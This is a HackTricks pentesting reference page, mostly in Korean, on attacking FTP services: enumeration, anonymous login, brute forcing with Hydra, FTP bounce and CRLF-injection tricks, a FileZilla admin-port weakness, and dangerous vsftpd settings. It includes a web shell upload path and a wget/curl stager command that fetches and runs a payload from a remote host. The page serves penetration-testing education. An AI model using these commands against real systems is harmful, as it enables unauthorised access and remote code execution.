21 - Pentesting FTP

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

The **File Transfer Protocol (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크에서 파일 전송을 위한 표준 프로토콜입니다.
이 프로토콜은 plain-text 프로토콜로, **new line character 0x0d 0x0a**를 사용하므로 때때로 telnet 또는 **nc -C**로 연결해야 합니다.

기본 포트: 21

PORT   STATE SERVICE
21/tcp open  ftp

연결 Active & Passive

In Active FTP the FTP client first 시작합니다 the control connection from its port N to FTP Servers command port – port 21. The client then 수신 대기합니다 to port N+1 and sends the port N+1 to FTP Server. FTP Server then 시작합니다 the data connection, from its port M to the port N+1 of the FTP Client.

하지만, FTP Client가 외부에서 들어오는 데이터 연결을 제어하는 firewall 설정이 되어 있다면 active FTP는 문제가 될 수 있습니다. 그리고, 그에 대한 현실적인 해결책은 Passive FTP입니다.

In Passive FTP, the client 시작합니다 the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client 시작합니다 the data connection from its port P to port M of the FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Connection debugging

The FTP commands debug and trace can be used to see 통신이 어떻게 일어나고 있는지.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

starttls를 사용하여 FTP에 연결

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

nmap 사용

sudo nmap -sV -p21 -sC -A 10.10.10.10

FTP 서버에 대한 정보를 얻기 위해 HELPFEAT 명령을 사용할 수 있습니다:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

익명 로그인

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

여기에서 기본 ftp 자격 증명 목록을 확인할 수 있습니다: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

자동화

Anon login 및 bounce FTP 검사는 기본적으로 nmap이 -sC 옵션으로 수행합니다. 또는:

nmap --script ftp-* -p 21 <ip>

브라우저 연결

다음과 같은 URL을 사용하여 브라우저(예: Firefox)로 FTP 서버에 연결할 수 있습니다:

ftp://anonymous:anonymous@10.10.10.98

Note that if a web application is sending data controlled by a user directly to a FTP server you can send double URL encode %0d%0a (in double URL encode this is %250d%250a) bytes and make the FTP server perform arbitrary actions. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http).

FTP에서 모든 파일 다운로드

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

사용자/비밀번호에 특수 문자가 있는 경우, following command을 사용할 수 있습니다:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD는 종종 FTP root를 /opt/lampp/htdocs에 매핑하므로, daemon 또는 nobody 같은 서비스 계정의 약한 자격증명으로 제공되는 webroot에 PHP web shell을 직접 업로드할 수 있습니다.
  • 업로드 후, 셸을 통해 architecture-aware download/exec stager를 트리거하세요. 예: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), 이 스테이저는 체크섬으로 검증된 페이로드를 가져와 저장(예: init_start), chmod +x를 설정하고 실행합니다.
  • 현재 디렉터리가 쓰기/실행 불가하면 스테이저는 /tmp로 대체되므로, 업로드 후 웹 경로와 파일시스템 권한을 테스트하세요.

Some FTP commands

  • USER username
  • PASS password
  • HELP 서버가 어떤 명령을 지원하는지 표시합니다
  • PORT 127,0,0,1,0,80 이 명령은 FTP 서버에 IP 127.0.0.1의 포트 80으로 연결을 설정하도록 지시합니다 (5번째 값을 “0“으로 두고 6번째 값을 포트의 십진수로 넣거나, 5번째와 6번째를 사용해 포트를 16진수로 표현할 수 있습니다).
  • EPRT |2|127.0.0.1|80| 이 명령은 FTP 서버에 IP 127.0.0.1의 포트 80으로 TCP 연결(“2“로 표시)을 설정하도록 지시합니다. 이 명령은 IPv6를 지원합니다.
  • LIST 현재 폴더의 파일 목록을 전송합니다
  • LIST -R 재귀적으로 목록을 표시합니다(서버가 허용하는 경우)
  • APPE /path/something.txt 이 명령은 FTP에게 passive 연결 또는 PORT/EPRT 연결로 받은 데이터를 파일로 저장하도록 지시합니다. 파일명이 존재하면 데이터를 덧붙입니다.
  • STOR /path/something.txt APPE와 유사하지만 파일을 덮어씁니다
  • STOU /path/something.txt APPE와 유사하나 파일이 존재하면 아무 작업도 하지 않습니다.
  • RETR /path/to/file passive 또는 port 연결이 수립되어야 합니다. 그런 다음, FTP 서버는 해당 연결을 통해 지정된 파일을 전송합니다
  • REST 6 다음에 RETR로 전송할 때 6번째 바이트부터 시작하도록 서버에 지시합니다.
  • TYPE i 전송을 바이너리로 설정합니다
  • PASV passive 연결을 열고 사용자가 어디에 연결할 수 있는지 알려줍니다
  • PUT /tmp/file.txt 지정된 파일을 FTP에 업로드합니다

FTPBounce attack

일부 FTP 서버는 PORT 명령을 허용합니다. 이 명령은 서버에게 다른 FTP 서버의 특정 포트로 연결하도록 지시하는 데 사용될 수 있습니다. 이를 통해 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다.

여기에서 FTP 서버를 악용해 포트를 스캔하는 방법을 배우세요.

이 동작을 악용해 FTP 서버가 다른 프로토콜과 상호작용하도록 만들 수도 있습니다. 예를 들어 HTTP 요청을 포함한 파일을 업로드하고 취약한 FTP 서버가 이를 임의의 HTTP 서버로 전송하게 할 수 있습니다 (예: 새 관리자 계정 추가?) 또는 FTP 요청을 업로드해 취약 FTP 서버가 다른 FTP 서버에서 파일을 다운로드하게 만들 수도 있습니다.
이론은 단순합니다:

  1. 요청(텍스트 파일 내부)을 취약 서버에 업로드합니다. 다른 HTTP 또는 FTP 서버와 통신하려면 줄 끝을 0x0d 0x0a로 변경해야 함을 기억하세요
  2. 원하지 않는 문자를 전송하지 않도록 REST X를 사용하세요 (예: 요청을 파일 내부에 넣기 위해 시작 부분에 이미지 헤더를 넣어야 할 때)
  3. PORT를 사용해 임의의 서버와 서비스에 연결합니다
  4. RETR를 사용해 저장된 요청을 서버로 전송합니다.

이 방법은 연결이 RETR로 데이터를 전송하기에 충분히 오래 지속되지 않아 Socket not writable 같은 오류를 발생시킬 가능성이 큽니다. 이를 피하기 위한 제안은 다음과 같습니다:

  • HTTP 요청을 전송하는 경우, 같은 요청을 연속으로 반복하여 최소 ~0.5MB 정도가 될 때까지 채워보세요. 예:

  • 프로토콜에 맞는 “정크” 데이터로 요청을 채워보세요 (FTP와 통신할 경우 정크 명령을 넣거나 RETR 명령을 반복하여 파일을 얻으려 시도)
  • 단순히 많은 널 문자 등으로 요청을 채워보세요 (라인으로 나누어도 되고 아닐 수도 있음)

어쨌든, 여기에 이 동작을 악용해 FTP 서버가 다른 FTP 서버에서 파일을 다운로드하게 만드는 오래된 예시가 있습니다.

Filezilla Server Vulnerability

FileZilla는 일반적으로 로컬에서 FileZilla-Server관리 서비스(포트 14147)에 binds합니다. 만약 your machine에서 이 포트에 접근할 수 있도록 터널을 생성할 수 있다면, **빈 비밀번호(blank password)**로 접속하여 FTP 서비스용 새 사용자생성할 수 있습니다.

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

vsFTPd의 기본 설정은 /etc/vsftpd.conf에 있습니다. 여기에서 몇 가지 위험한 설정을 찾을 수 있습니다:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - 익명 사용자를 위한 디렉터리.
  • chown_uploads=YES - 익명으로 업로드된 파일의 소유권을 변경함
  • chown_username=username - 익명으로 업로드된 파일의 소유자로 지정되는 사용자
  • local_enable=YES - 로컬 사용자의 로그인을 허용
  • no_anon_password=YES - 익명에게 비밀번호를 요구하지 않음
  • write_enable=YES - 다음 명령 허용: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기